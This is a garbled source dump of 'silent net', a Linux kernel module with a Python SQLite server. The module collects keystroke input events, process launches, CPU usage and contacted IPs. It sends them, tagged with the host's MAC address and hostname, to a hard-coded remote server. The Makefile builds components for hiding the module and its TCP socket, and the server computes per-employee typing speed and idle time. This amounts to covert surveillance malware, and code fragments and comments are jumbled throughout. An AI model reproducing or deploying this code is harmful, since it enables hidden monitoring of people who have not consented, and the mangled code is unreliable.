  
/* CLIENT_HOOK_H */  
#endif
```

File name: mac_find.c

```
/*
 * mac_find.c - Handles searching for mac address
 *
 *          Omer Kfir (C)
 */

#include "mac_find.h"
#include "headers.h"

// Function to find consistent mac address
void get_mac_address(char *mac_buf) {
    struct net_device *dev;
    struct net_device *chosen_dev = NULL;
    char lowest_mac[ETH_ALEN] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

    /*
     * When searching for mac address iterating through netdevices
     * Does not ensure finding the same mac as netdevices list changes
     * Therefore we will find the lowest valued mac address
     */

    rcu_read_lock();
    for_each_netdev(&init_net, dev) { // Iterate through netdevices
        list
        if (!(dev->flags & IFF_LOOPBACK)) { // Ensure netdevice isn't a
            loopback
            int i;
            for (i = 0; i < ETH_ALEN;
                i++) { // Iterates through the octats, Finds min octat and
                    replaces
                    if (dev->dev_addr[i] < lowest_mac[i]) {
                        memcpy(lowest_mac, dev->dev_addr, ETH_ALEN);
                        chosen_dev = dev;
                        break;
                    } else if (dev->dev_addr[i] > lowest_mac[i]) {
                        break;
                    }
                }
            }
        }
    }

    if (chosen_dev) {
        // Format MAC address as string
        snprintf(mac_buf, 18, "%02x:%02x:%02x:%02x:%02x:%02x",
            lowest_mac[0],
                lowest_mac[1], lowest_mac[2], lowest_mac[3],
                lowest_mac[4],
                lowest_mac[5]);
    } else {
        // In case no suitable interface is found
        strncpy(mac_buf, "00:00:00:00:00:00", 17);
    }
    rcu_read_unlock();
}
```

File name: mac_find.c

}

File name: mac_find.h

```
/*
 * mac_find.h - Header file for mac_find.c
 *
 *          Omer Kfir (C)
 */

#ifndef MAC_FIND_H
#define MAC_FIND_H

#define MAC_SIZE (18)

void get_mac_address(char *mac_buf);

/* MAC_FIND_H */
#endif
```

File name: protocol.c

```
/*
 * protocol.c - Format messages for protocol
 *
 *          Omer Kfir (C)
 */

#include "protocol.h"
#include "headers.h"
#include "transmission.h"
#include "workqueue.h"

#include <linux/stdarg.h> // Handling unknown amount of arguments

char *dAddress = "10.100.102.103";
uint16_t dPort = 6734;

module_param(dAddress, charp, 0644);
module_param(dPort, ushort, 0644);

MODULE_PARM_DESC(dAddress, "Destination address");
MODULE_PARM_DESC(dPort, "Destination port");

/* Formats a message by protocol */
int protocol_format(char *dst, const char *format, ...) {
    va_list args;
    int ret_len; // Ret value of length or error

    va_start(args, format); // Initialize args
    ret_len = vsnprintf(NULL, 0, format, args); // Calculate message
    length
    va_end(args); // Close args since it was iterated by vsnprintf

    // Check for overflow
    if (ret_len + SIZE_OF_SIZE >= BUFFER_SIZE)
        return -ENOMEM;

    // Copy first length of message before actual message and pad with
    zeros
    snprintf(dst, SIZE_OF_SIZE + 1, "%04d", ret_len);
    ret_len += SIZE_OF_SIZE; // Ret len is the whole size of the buffer

    // Now add actual formatted string
    va_start(args, format);
    vsnprintf(dst + SIZE_OF_SIZE, BUFFER_SIZE - SIZE_OF_SIZE, format,
    args);
    va_end(args);

    return ret_len;
}

/* Send message with formatted message */
int protocol_send_message(const char *format, ...) {
    char msg_buf[BUFFER_SIZE];
```

File name: protocol.c

```
int msg_length;
va_list args;

va_start(args, format);

char fmt_buf[BUFFER_SIZE];
vsnprintf(fmt_buf, BUFFER_SIZE, format, args);
va_end(args);

// Now call protocol_format with the formatted string
msg_length = protocol_format(msg_buf, "%s", fmt_buf);

if (msg_length > 0)
    workqueue_message(transmit_data, msg_buf, msg_length);

return 0;
}
```


File name: protocol.h

```
/*
 * protocol.h - A header file for all protocol important data.
 * ■■■This file only provides msg type.
 *
 * ■■■Omer Kfir (C)
 */

#ifndef PROTOCOL_H
#define PROTOCOL_H

#include <linux/types.h> // For uint16_t

/* Message types */
#define MSG_AUTH "CAU" // Starting credentials message

/* Hooking messages */
#define MSG_PROCESS_OPEN "CPO"
#define MSG_CPU_USAGE "CCU"
#define MSG_COMM_CATEGORY "COT"
#define MSG_INPUT_EVENT "CIE"

#define PROTOCOL_SEPARATOR "\x1f"
#define PROTOCOL_SEPARATOR_CHR '\x1f'

/* Protocol buffer handling */
#define BUFFER_SIZE (1024 / 4)
#define SIZE_OF_SIZE (4) // Characters amount of size of a message

int protocol_format(char *, const char *, ...);
int protocol_send_message(const char *, ...);

extern char *dAddress;
extern uint16_t dPort;

/* PROTOCOL_H */
#endif
```

File name: tcp_socket.c

```
/*
 * 'slient net' project client tcp socket code.
 * Handles communication implementation.
 *
 * Provides basic tcp socket abstraction
 * For KLM
 *
 * Omer Kfir (C)
 */

#include "tcp_socket.h"
#include "headers.h"

/* Initialize a TCP struct socket */
struct socket *tcp_sock_create(void) {
    struct socket *sock;
    struct timespec64 tv;
    int err;

    /* Create tcp socket */
    err = sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &sock);
    if (err < 0) {
        printk(KERN_ERR "Failed to create TCP socket\n");
        return ERR_PTR(err);
    }

    // Set mark on socket
    sock_set_mark(sock->sk, MODULE_MARK);

    /* Set 0.5 second timeout for recv/connect/send */
    tv.tv_sec = 0; // Seconds
    tv.tv_nsec = SOCK_TIMEO; // Nanoseconds

    err = sock_setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO_NEW,
        KERNEL_SOCKPTR(&tv),
        sizeof(tv));
    if (err < 0) {
        printk(KERN_ERR "Failed to set recv timeo %d\n", err);
        return ERR_PTR(err);
    }

    err = sock_setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO_NEW,
        KERNEL_SOCKPTR(&tv),
        sizeof(tv));
    if (err < 0) {
        printk(KERN_ERR "Failed to set send timeo\n");
        return ERR_PTR(err);
    }

    return sock;
}

/* Initialize a tcp connection */
```

File name: tcp_socket.c

```
int tcp_sock_connect(struct socket *sock, const char *dst_ip, uint16_t
port) {
    struct sockaddr_in addr = {0}; // Ensure all values inside struct are
zeroed
    int err;

    /* Validate all arguments */
    if (!sock || !sock->ops || !sock->ops->connect || !dst_ip)
        return -EINVAL; // Invalid argument passed

    /* Initialize address structure */
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = in_aton(dst_ip);

    // 0 - Means no specific use of the socket (Writing/Receiving)
    err = sock->ops->connect(sock, (struct sockaddr *)&addr,
sizeof(addr), 0);
    if (err < 0 && err != -EINPROGRESS)
        return err;

    return err;
}

/* Send message through a TCP socket */
int tcp_send_msg(struct socket *sock, const char *msg, size_t length) {
    struct msghdr msg_met = {0};
    struct kvec vec;
    int err;

    /* Validate arguments */
    if (!sock || !msg)
        return -EINVAL; // Invalid argument passed

    /* I/O Vector for message transferring */
    vec.iov_base = (void *)msg;
    vec.iov_len = length;

    err = kernel_sendmsg(sock, &msg_met, &vec, 1, length);
    if (err < 0)
        printk(KERN_ERR "Failed to send message %d\n", err);

    return err;
}

/* Close socket struct */
void tcp_sock_close(struct socket *sock) {
    if (sock)
        sock_release(sock);
}

/* Checks if socket has a certain mark */
bool check_sock_mark(struct sock *sock, __u32 mark) {
```

File name: tcp_socket.c

```
if (!sock)
    return false;

return sock->sk_mark == mark;
}
```

File name: tcp_socket.h

```
/*
 * tcp_socket.h - Header file for tcp_socket.c
 *
 * Omer Kfir (C)
 */

#ifndef TCP_SOCKET_H
#define TCP_SOCKET_H

/* IPV4 tcp connection */
#include <linux/errno.h>
#include <linux/in.h>      // IP structures
#include <linux/inet.h>    // Internet addresses manipulatutions
#include <linux/net.h>     // Kernel functions for network
#include <linux/socket.h>  // Kernel socket structure
#include <linux/tcp.h>     // Macros definitions
#include <linux/time.h>
#include <linux/timer.h>
#include <net/inet_sock.h>
#include <net/sock.h> // Kernel socket structures

#define SOCK_TIMEO (1e4)
#define MODULE_MARK (6734)

struct socket *tcp_sock_create(void);
int tcp_sock_connect(struct socket *, const char *, uint16_t);
int tcp_send_msg(struct socket *, const char *, size_t);
void tcp_sock_close(struct socket *);
bool check_sock_mark(struct sock *, __u32);

/* TCP_SOCKET_H */
#endif
```

File name: transmission.c

```
/*
 * ■ 'silent_net' data transmission
 *
 * ■ Handles data transmission to destination ip
 * ■ Message failure result in backup to a circular buffer file
 *
 * ■ Omer Kfir (C)
 */

#include "transmission.h"

static struct socket *sock;    // Struct socket
static bool connected = false; // Boolean which indicates if currently
connected
static struct mutex trns_mutex; // Mutex for thread safe socket
handling

int i = 0;

static char cred[BUFFER_SIZE];

static void disconnect(char *msg, size_t len) {
    if (sock) {
        tcp_sock_close(sock);
        sock = NULL;
    }
    connected = false;

    if (!msg || len <= 0)
        return;

    backup_data_log(msg, len);
}

void transmit_data(struct work_struct *work) {
    wq_msg *curr_msg = container_of(work, wq_msg, work);
    int ret;

    // Mainly for backup data when server is up
    char msg_buf[BUFFER_SIZE];
    size_t msg_len;

    mutex_lock(&trns_mutex);

    /* If socket is disconnected try to connect */
    if (!connected) {
        /* When a socket disconnects a new socket needs to be created */
        sock = tcp_sock_create();
        if (IS_ERR(sock)) {
            disconnect(curr_msg->msg_buf, curr_msg->length);
            goto end;
        }
    }
}
```

File name: transmission.c

```
ret = tcp_sock_connect(sock, dAddress, dPort);
if (ret < 0) {
    disconnect(curr_msg->msg_buf, curr_msg->length);
    goto end;
}
connected = true;

// Send credentials - only after successful connection
ret = tcp_send_msg(sock, cred, strlen(cred));
if (ret < 0) {
    disconnect(curr_msg->msg_buf, curr_msg->length);
    goto end;
}
}

ret = tcp_send_msg(sock, curr_msg->msg_buf, curr_msg->length);
if (ret < 0) {
    disconnect(curr_msg->msg_buf, curr_msg->length);
} else if (sock && sock->sk && sock->sk->sk_state == TCP_ESTABLISHED)
{
    // If sending message was successful then employee is connected to
    server
    // So now we will try to flush the backup data to the server
    ret = read_backup_data_log(msg_buf);
    while (ret > 0) {
        msg_len = ret;
        if (msg_len > BUFFER_SIZE) {
            printk(KERN_ERR "Invalid message length: %lu\n", msg_len);
            break;
        }

        ret = tcp_send_msg(sock, msg_buf, msg_len);
        if (ret < 0) {
            disconnect(msg_buf, msg_len);
            break;
        }
        ret = read_backup_data_log(msg_buf);
    }
}

end:
mutex_unlock(&trns_mutex);
kfree(curr_msg); // Free the work structure
}

void handle_credentials(void) {
    char mac_buf[MAC_SIZE];
    get_mac_address(mac_buf);

    protocol_format(cred, "%s" PROTOCOL_SEPARATOR "%s" PROTOCOL_SEPARATOR
"%s",
                    MSG_AUTH, mac_buf, utsname()->nodename);
}
```

File name: transmission.c

```
/* Initialize all transmission objects */
void data_transmission_init(void) {
    mutex_init(&trns_mutex);
    file_storage_init();
    handle_credentials();
}

/* Closes all transmission objects */
void data_transmission_release(void) {
    // Close socket
    tcp_sock_close(sock);
    file_storage_release();

    /*
     * No need for releasing trns_mutex since
     * The operating system knows to release it on
     * It's own when module is unloaded
     */
}
```


File name: transmission.h

```
/*
 *■'silent_net' tranmission.h - header file for tranmission
 *
 *■Omer Kfir (C)
 */

#ifndef TRANSMISSION_H
#define TRANSMISSION_H

#include "file_handling/file_storage.h"
#include "headers.h"
#include "mac_find.h"
#include "protocol.h"
#include "tcp_socket.h"
#include "workqueue.h"

void transmit_data(struct work_struct *);
void handle_credentials(void);
void data_transmission_init(void);
void data_transmission_release(void);

/* TRANSMISSION_H */
#endif
```

File name: workqueue.c

```
/*
 *■'silent net' work queue handling
 *
 *■Basic abstraction for data set workqueue
 *■Omer Kfir (C)
 */

#include "workqueue.h"

static struct workqueue_struct
    *workqueue; // Global workqueue for transmission of data

/* Initialize a single thread workqueue */
int init_singlethread_workqueue(const char *workqueue_name) {
    workqueue = create_singlethread_workqueue(workqueue_name);

    if (!workqueue) {
        destroy_workqueue(workqueue);
        return -ENOMEM;
    }

    return 0;
}

/* Flush and destroy singlethread workqueue */
void release_singlethread_workqueue(void) {
    /*
     * Flush all current works in the workqueue
     * Waits for all of kThreads (works) to be closed
     */
    flush_workqueue(workqueue);

    // Destroy workqueue object
    destroy_workqueue(workqueue);
}

/* Queue a new message to be sent */
void workqueue_message(void (*queued_function)(struct work_struct *),
                      const char *msg, size_t length) {
    struct wq_msg *work;

    /* Because we are only able to send the pointer to work_struct
     * We will create a 'father' struct for it, which will contain it
     * And in the function we will perform container_of in order to get
     * The message itself and the length
     */
    work = kmalloc(sizeof(wq_msg), GFP_ATOMIC);
    if (!work)
        return;

    /* Initialize work for it to point to the desired function*/
    INIT_WORK(&work->work, queued_function);
}
```

File name: workqueue.c

```
/* Copy data to wq_msg metadata */
work->length = min(length, BUFFER_SIZE - 1);
memcpy(work->msg_buf, msg, work->length);

/* Push work to workqueue - thread safe function (dont worry :) )*/
if (!queue_work(workqueue, &work->work))
    kfree(work); // Free if queueing fails
}
```

File name: workqueue.h

```
/*
 * ■ 'silent net' workqueue header file.
 * ■ Defines specific work message structures
 *
 * ■ Omer Kfir (C)
 */
#ifndef WORKQUEUE_H
#define WORKQUEUE_H

#include "headers.h"
#include "protocol.h"

#include <linux/workqueue.h> // Smart work queue implementation for
different tasks

void workqueue_message(void (*)(struct work_struct *), const char *,
size_t);
int init_singlethread_workqueue(const char *);
void release_singlethread_workqueue(void);

/* Workqueue message */
typedef struct wq_msg {
    /* Current mission */
    struct work_struct work;

    /* Message data for sending data */
    char msg_buf[BUFFER_SIZE];
    size_t length;
} wq_msg;

/* WORKQUEUE_H */
#endif
```

File name: headers.h

```
#ifndef HEADER_H
#define HEADER_H

#define _GNU_SOURCE
#define __GNU_SOURCE
/* Common header files */
#include <asm/uaccess.h>           // Copy and write to user buffers
#include <linux/fs.h>              // Kernel file system
#include <linux/init.h>           // Module __init __exit
#include <linux/input.h>          // Structures of devices
#include <linux/kernel.h>         // Kernel base functions
#include <linux/kernel_stat.h>    // CPU stats
#include <linux/kprobes.h>        // Kprobe lib (King)
#include <linux/module.h>         // Kernel module macros
#include <linux/mutex.h>          // Mutex data structure
#include <linux/netdevice.h>      // List netdevices of pc
#include <linux/sched.h>          // Scheduler lib, Mainly for current
structure (PCB)
#include <linux/slab.h>           // Linux memory allocation
#include <linux/types.h>          // Different data structures types
#include <linux/utsname.h>        // Hostname of machine

/* HEADER_H */
#endif
```

File name: Makefile

```
ifneq ($(KERNELRELEASE),)
■obj-m += proj.o
■proj-objs := kClientHook.o tcp_socket.o protocol.o workqueue.o\
■■■■ transmission.o mac_find.o cpu_stats.o\
■■■■ file_handling/file_storage.o hide/hide_module.o
hide/hide_tcp_sock.o

else
    KERNEL_SOURCE := /lib/modules/$(shell uname -r)/build
    PWD := $(shell pwd)
■FLAGS = -C $(KERNEL_SOURCE)

all:
■make $(FLAGS) M=$(PWD) modules

clean:
■make $(FLAGS) M=$(PWD) clean
endif
```

File name: DB.py

```
# 'Silent net' project data base handling
#
#
# Omer Kfir (C)
import sqlite3, threading, os, sys
from datetime import datetime

sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__),
'../shared')))
from protocol import MessageParser

__author__ = "Omer Kfir"

class DBHandler():
    """
        Base class for database handling
    """

    DB_NAME = "server_db.db"

    def __init__(self, conn, cursor, table_name: str):
        """
            Initialize database connection using an existing connection and
            cursor.

            INPUT: conn, cursor, table_name
            OUTPUT: None

            @conn: Existing SQLite connection object
            @cursor: Existing SQLite cursor object
            @table_name: Name of the primary table
        """
        self.conn = conn
        self.cursor = cursor
        self.table_name = table_name
        self._lock = threading.Lock()

        # Create tables if they do not exist
        if table_name.endswith("logs"):
            self.commit('''
                CREATE TABLE IF NOT EXISTS logs (
                    mac TEXT NOT NULL,
                    type TEXT NOT NULL,
                    data BLOB NOT NULL,
                    count NUMERIC NOT NULL DEFAULT 1
                )
            ''')
        elif table_name.endswith("uid"):
            self.commit('''
                CREATE TABLE IF NOT EXISTS uid (
                    mac TEXT NOT NULL UNIQUE,
                    hostname TEXT NOT NULL UNIQUE
                )
            ''')
```

File name: DB.py

```
        ''')

    @staticmethod
    def connect_DB(db_name : str) -> tuple:
        """
            Establish connection with DB

            INPUT: Str
            OUTPUT: tuple
        """

        conn = sqlite3.connect(db_name, check_same_thread=False)
        return conn, conn.cursor()

    @staticmethod
    def close_DB(cursor, conn):
        """
            Closes connection to database

            INPUT: cursor, conn
            OUTPUT: None
        """
        try:
            if conn: # Check if the connection is still open
                cursor.close()
                conn.close()
        except Exception as e:
            pass

    def clean_deleted_records_DB(self):
        """
            Cleans all deleted records from the table

            INPUT: None
            OUTPUT: None
        """
        command = "VACUUM"
        self.commit(command)

    def delete_all_records_DB(self):
        """
            Deletes all records from the table

            INPUT: None
            OUTPUT: None
        """
        command = f"DELETE FROM {self.table_name}"
        self.commit(command)

        self.clean_deleted_records_DB()

    def commit(self, command: str, *command_args):
        """
```


File name: DB.py

Commits a command to database

INPUT: command, command_args

OUTPUT: Return value of sql commit

@command: SQL command to execute

@command_args: Arguments for the command

"""

```
if not self.conn or not self.cursor:
    raise ValueError("Database connection not established")
```

ret_data = ""

```
with self._lock:
```

```
    try:
```

```
        self.cursor.execute(command, command_args)
```

```
        ret_data = self.cursor.fetchall()
```

```
        self.conn.commit()
```

```
    except Exception as e:
```

```
        self.conn.rollback()
```

```
        # Reset cursor
```

```
        self.cursor = self.conn.cursor()
```

```
        print(f"Commit DB exception {e}")
```

```
    return ret_data
```

```
class UserLogsORM (DBHandler):
```

```
    """
```

```
        Singleton implementation of UserLogsORM inheriting from
        DBHandler
```

```
    """
```

```
USER_LOGS_NAME = "logs"
```

```
_lock = threading.Lock()
```

```
_instance = None
```

```
def __new__(cls, conn, cursor, table_name: str):
```

```
    """
```

```
        Ensure singleton instance and initialize with existing
        connection and cursor.
```

```
        INPUT: conn, cursor, table_name
```

```
        OUTPUT: None
```

```
    """
```

```
with cls._lock:
```

```
    if cls._instance is None:
```

```
        cls._instance = super(UserLogsORM, cls).__new__(cls)
```

```
        cls._instance.__init__(conn, cursor, table_name)
```

```
    return cls._instance
```

```
def client_setup_db(self, mac : str) -> None:
```

File name: DB.py

```
"""
    Writes basic logs that need to be for every client when
    connected
    Writes when client first logged in (Also writes last client
    input event with the same time)
    Writes an empty record of inactive times
    Writes an empty record of cpu usages

    INPUT: mac
    OUTPUT: None

    @mac: MAC address of user's computer
"""

cur_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

# First log of client
command = f"INSERT INTO {self.table_name} (mac, type, data)
VALUES (?, ?, ?);"
self.commit(command, mac,
MessageParser.CLIENT_FIRST_INPUT_EVENT, cur_time)

# "Last" log of client (it's not really the last time, it's
just a record for next when client logs again)
command = f"INSERT INTO {self.table_name} (mac, type, data)
VALUES (?, ?, ?);"
self.commit(command, mac,
MessageParser.CLIENT_LAST_INPUT_EVENT, cur_time)

# Empty record of inactive times
command = f"INSERT INTO {self.table_name} (mac, type, data)
VALUES (?, ?, '');"
self.commit(command, mac, MessageParser.CLIENT_INACTIVE_EVENT)

# Empty record of cpu usage
command = f"INSERT INTO {self.table_name} (mac, type, data)
VALUES (?, ?, '');"
self.commit(command, mac, MessageParser.CLIENT_CPU_USAGE)

def delete_mac_records_DB(self, mac : str):
    """
        Deletes all records from the table of a certain MAC address

        INPUT: mac
        OUTPUT: None

        @mac: MAC address of user's computer
    """
    command = f"DELETE FROM {self.table_name} WHERE mac = ?"
    self.commit(command, mac)

    self.clean_deleted_records_DB()
```

File name: DB.py

```
def __check_inactive(self, mac : str) -> tuple[str, int]:
    """
        Checks if client is currently inactive

        INPUT: mac
        OUTPUT: Tuple consists of last datetime in string format
        client was active and the amount of minutes currently inactive

        @mac: MAC address of user's computer
    """

    cur_time = datetime.now()

    command = f"SELECT data FROM {self.table_name} WHERE mac = ?
    AND type = ?;"
    date_str = self.commit(command, mac,
    MessageParser.CLIENT_LAST_INPUT_EVENT)[0][0]

    date = datetime.strptime(date_str , "%Y-%m-%d %H:%M:%S")
    inactive_time = int((cur_time - date).total_seconds() // 60)

    # Inactive time is considered above five minutes
    if inactive_time > 5:
        return date_str, inactive_time

    return None, None

def __update_last_input(self, mac : str) -> None:
    """
        Updates last time user logged input event

        INPUT: mac
        OUTPUT: None

        @mac: MAC address of user's computer
    """

    # Check if client is inactive until now, if so log it
    date, inactive_time = self.__check_inactive(mac)
    if date:

        # Get string of inactive times
        # String format -> datetime of inactive, inactive minutes
        # Example: 2025-10-10 20:20:20,10~2025-10-10 20:20:30,7~
        command = f"SELECT data FROM {self.table_name} WHERE mac =
        ? AND type = ?;"
        data = self.commit(command, mac,
        MessageParser.CLIENT_INACTIVE_EVENT)[0][0]

        data += f"{date},{inactive_time}~"
        command = f"UPDATE {self.table_name} SET data = ? WHERE mac
        = ? AND type = ?;"
```

File name: DB.py

```
        self.commit(command, data, mac,
                    MessageParser.CLIENT_INACTIVE_EVENT)

    command = f"UPDATE {self.table_name} SET data = ? WHERE mac = ?
    AND type = ?;"

    cur_time = datetime.now()
    cur_time = cur_time.strftime("%Y-%m-%d %H:%M:%S")

    self.commit(command, cur_time, mac,
                MessageParser.CLIENT_LAST_INPUT_EVENT)

def __get_total_active_time(self, mac : str) -> int:
    """
        Calculates total active time of user

        INPUT: mac
        OUTPUT: Integer - minutes amount of active time

        @mac: MAC address of user's computer
    """

    command = f"SELECT data FROM {self.table_name} WHERE mac = ?
    AND type = ?;"
    first_input = datetime.strptime(self.commit(command, mac,
        MessageParser.CLIENT_FIRST_INPUT_EVENT)[0][0], "%Y-%m-%d %H:%M:%S")
    last_input = datetime.strptime(self.commit(command, mac,
        MessageParser.CLIENT_LAST_INPUT_EVENT)[0][0], "%Y-%m-%d %H:%M:%S")

    return (last_input - first_input).total_seconds() // 60

def __update_cpu_usage(self, mac: str, data : bytes) -> None:
    """
        Updates cpu usage query

        INPUT: mac, data
        OUTPUT: None

        @mac: MAC address of user's computer
        @data: Bytes of data
    """

    command = f"SELECT data FROM {self.table_name} WHERE mac = ?
    AND type = ?;"
    cpu_logs = self.commit(command, mac,
        MessageParser.CLIENT_CPU_USAGE)[0][0]

    if isinstance(cpu_logs, str):
        cpu_logs = cpu_logs.encode()

    cpu_logs += data + b"|"

    command = f"UPDATE {self.table_name} SET data = ? WHERE mac = ?
```

File name: DB.py

```
AND type = ?;"
self.commit(command, cpu_logs, mac,
MessageParser.CLIENT_CPU_USAGE)

def insert_data(self, mac: str, data_type: str, data: bytes) ->
None:
    """
        Insert data to SQL table, if record already exists increment
        its counter

        INPUT: mac, data_type, data
        OUTPUT: None

        @mac: MAC address of user's computer
        @data_type: Type of data to be inserted
        @data: Bytes of data
    """

    if data_type == MessageParser.CLIENT_CPU_USAGE:
        self.__update_cpu_usage(mac, data)
        return

    command = f"SELECT count FROM {self.table_name} WHERE mac = ?
AND type = ? AND data = ?;"
    count = self.commit(command, mac, data_type, data)

    # If got count -> count exists -> row exists
    if count:
        count = count[0][0] + 1
        command = f"UPDATE {self.table_name} SET count = ? WHERE
mac = ? AND type = ? AND data = ?;"

        self.commit(command, count, mac, data_type, data)
    else:
        command = f"INSERT INTO {self.table_name} (mac, type, data)
VALUES (?, ?, ?);"

        self.commit(command, mac, data_type, data)

    # Check if it is an input event
    if data_type == MessageParser.CLIENT_INPUT_EVENT:
        self.__update_last_input(mac)

# Statistics done with DB
def get_process_count(self, mac : str) -> list[tuple[str, int]]:
    """
        Gets the amount of times each process was opened for a
        certain client

        INPUT: mac
        OUTPUT: List of tuples of the name of the process and
        amount of times was opened
    """
```

File name: DB.py

```
@mac: MAC address of user's computer
"""

command = f"SELECT data, count FROM {self.table_name} WHERE
type = ? AND mac = ?;"
return self.commit(command, MessageParser.CLIENT_PROCESS_OPEN,
mac)

def get_inactive_times(self, mac : str) -> list[tuple[datetime,
int]]:
    """
        Calculates idle times of user

        INPUT: mac
        OUTPUT: List of Tuples of the datetime the user went idle
        and the time of idleness

        @mac: MAC address of user's computer
    """

    # Check if currently inactive
    date, inactive_time = self.__check_inactive(mac)

    command = f"SELECT data FROM {self.table_name} WHERE type = ?
AND mac = ?;"
    dates = self.commit(command,
MessageParser.CLIENT_INACTIVE_EVENT, mac)[0][0]

    if date:
        dates += f"{date},{inactive_time}"

    dates = dates.split("~")
    return [i.split(",") for i in dates], True if date else False

def get_wpm(self, mac : str, inactive_times : list[tuple[datetime,
int]], inactive_after_last : bool) -> int:
    """
        Calculates the average wpm the user does while excluding
        inactive times

        INPUT: mac, inactive
        OUTPUT: Integer

        @mac: MAC address of user's computer
        @inactive_times: Pre calculated inactive times of user
        @inactive_after_last: Boolean to indicate if inactive times
        include time after last logged input event
    """

    # Calculate total inactive time in minutes
    if inactive_after_last:
        inactive_times = inactive_times[:-1]
```

File name: DB.py

```
total_inactive = sum(int(i[1]) for i in inactive_times if i !=
'' and len(i) > 1)

# Get word count, 57 is the translation for space char in
input_event in linux
# Checks for data which has space char in it
command = f"SELECT count FROM {self.table_name} WHERE type = ?
AND data LIKE '%57%' AND mac = ?;"
words_cnt = self.commit(command,
MessageParser.CLIENT_INPUT_EVENT, mac)
words_cnt = words_cnt[0][0] if words_cnt else 0 # Extract
value safely

# Get first input timestamp
command = f"SELECT data FROM {self.table_name} WHERE type = ?
AND mac = ?;"
first_input = datetime.strptime(self.commit(command,
MessageParser.CLIENT_FIRST_INPUT_EVENT, mac)[0][0], "%Y-%m-%d %H:%M:%S")
last_input = datetime.strptime(self.commit(command,
MessageParser.CLIENT_LAST_INPUT_EVENT, mac)[0][0], "%Y-%m-%d %H:%M:%S")

# Calculate active time in minutes
active_time = ((last_input - first_input).total_seconds() -
total_inactive * 60) / 60
active_time = max(active_time, 1) # Prevent division by zero

return words_cnt // active_time

def get_cpu_usage(self, mac : str):
    """
        Gets all logs of cpu usage

        INPUT: mac
        OUTPUT: Tuple of Dictionary of cpu cores and their usages
        and list of times of logs

        @mac: MAC address of user's computer
    """

    command = f"SELECT data FROM {self.table_name} WHERE mac = ?
    AND type = ?;"
    cores_logs = self.commit(command, mac,
MessageParser.CLIENT_CPU_USAGE)[0][0]
    if isinstance(cores_logs, str):
        cores_logs = cores_logs.encode()
    cores_logs = cores_logs.split(b"|")

    logs = [log for i in cores_logs if len(i) > 1 for log in
i.split(MessageParser.PROTOCOL_SEPARATOR)]
    cpu_usage_logs = []

    core_usage = {}
    for log in logs:
```

File name: DB.py

```
log = log.decode().split(",")
core, usage = log[:2]

if core not in core_usage:
    core_usage[core] = []
core_usage[core].append(int(usage))

if len(log) == 3:
    cpu_usage_logs.append(log[2])
```

```
return core_usage, cpu_usage_logs
```

```
def get_active_precentage(self, mac : str) -> int:
```

```
    """
```

```
        Calculates the percentage of time user was active
```

```
        INPUT: mac
```

```
        OUTPUT: Integer
```

```
    """
```

```
inactive_time, inactive_after_last =
self.get_inactive_times(mac)
```

```
if inactive_after_last:
    inactive_time = inactive_time[:-1]
```

```
total_inactive = sum(int(i[1]) for i in inactive_time if i !=
'' and len(i) > 1)
```

```
total_active = self.__get_total_active_time(mac)
```

```
if total_active + total_inactive == 0:
    return 100
```

```
return int((total_active / (total_active + total_inactive)) *
100)
```

```
def get_reached_out_ips(self, mac : str) -> list[str]:
```

```
    """
```

```
        Gets all the reached out IP addresses of a certain client
```

```
        INPUT: mac
```

```
        OUTPUT: List of strings of IP addresses
```

```
        @mac: MAC address of user's computer
```

```
    """
```

```
command = f"SELECT data, count FROM {self.table_name} WHERE mac
= ? AND type = ?;"
```

```
return self.commit(command, mac,
MessageParser.CLIENT_IP_INTERACTION)
```

```
class UserId (DBHandler):
```


File name: DB.py

```
USER_ID_NAME = "uid"
```

```
_lock = threading.Lock()
```

```
_instance = None
```

```
def __new__(cls, conn, cursor, table_name: str):
```

```
    """
```

```
        Ensure singleton instance and initialize with existing
        connection and cursor.
```

```
        INPUT: conn, cursor, table_name
```

```
        OUTPUT: None
```

```
    """
```

```
    with cls._lock:
```

```
        if cls._instance is None:
```

```
            cls._instance = super(UserId, cls).__new__(cls)
```

```
            cls._instance.__init__(conn, cursor, table_name)
```

```
        return cls._instance
```

```
def delete_mac(self, mac : str) -> None:
```

```
    """
```

```
        Deletes a certain MAC address from the table
```

```
        INPUT: mac
```

```
        OUTPUT: None
```

```
        @mac: MAC address of user's computer
```

```
    """
```

```
    command = f"DELETE FROM {self.table_name} WHERE mac = ?;"
    self.commit(command, mac)
```

```
    self.clean_deleted_records_DB()
```

```
def insert_data(self, mac: str, hostname : str) -> bool:
```

```
    """
```

```
        Insert data to SQL table, checks if mac already in use or
        hostname
```

```
        If mac already in use then do not insert
```

```
        If hostname then change the hostname and insert
```

```
        INPUT: mac, hostname
```

```
        OUTPUT: Boolean value to indicate if user already logged in
```

```
        @mac: MAC address of user's computer
```

```
        @hostname: User's computer hostname
```

```
    """
```

```
    command = f"SELECT hostname FROM {self.table_name} WHERE mac =
    ?;"
```

```
    output = self.commit(command, mac)
```

```
    if output:
```

File name: DB.py

```
    print(f"\n{mac} -> Have already logged in before")
    return True

# Fetch all hostnames starting with the given hostname
command = f"SELECT hostname FROM {self.table_name} WHERE
hostname LIKE ? || '%';"
results = self.commit(command, hostname)
hostnames = {row[0] for row in results}

new_hostname = hostname
if new_hostname in hostnames:
    i = 1
    while f"{hostname}{i}" in hostnames:
        i += 1
    new_hostname = f"{hostname}{i}"

command = f"INSERT INTO {self.table_name} (mac, hostname)
VALUES (?, ?);"
self.commit(command, mac, new_hostname)

return False

def update_name(self, prev_name : str, new_name : str):
    """
        Manager changes a name for a client

        INPUT: prev_name, new_name
        OUTPUT: None

        @prev_name: Previous name of client
        @new_name: New name of client changed by manager
    """

    command = f"UPDATE {self.table_name} SET hostname = ? WHERE
hostname = ?;"
    self.commit(command, new_name, prev_name)

def check_user_existence(self, hostname : str) -> int:
    """
        Checking for a certain client to see if already connected

        INPUT: hostname
        OUTPUT: int

        @hostname: hostname of user's computer
    """

    command = f"SELECT COUNT(*) FROM {self.table_name} WHERE
hostname = ?;"
    return self.commit(command, hostname)[0][0] > 0

def get_clients(self) -> list[tuple[int, str]]:
```

File name: DB.py

```
"""
    Gets all data on clients mac and hostname

    INPUT: None
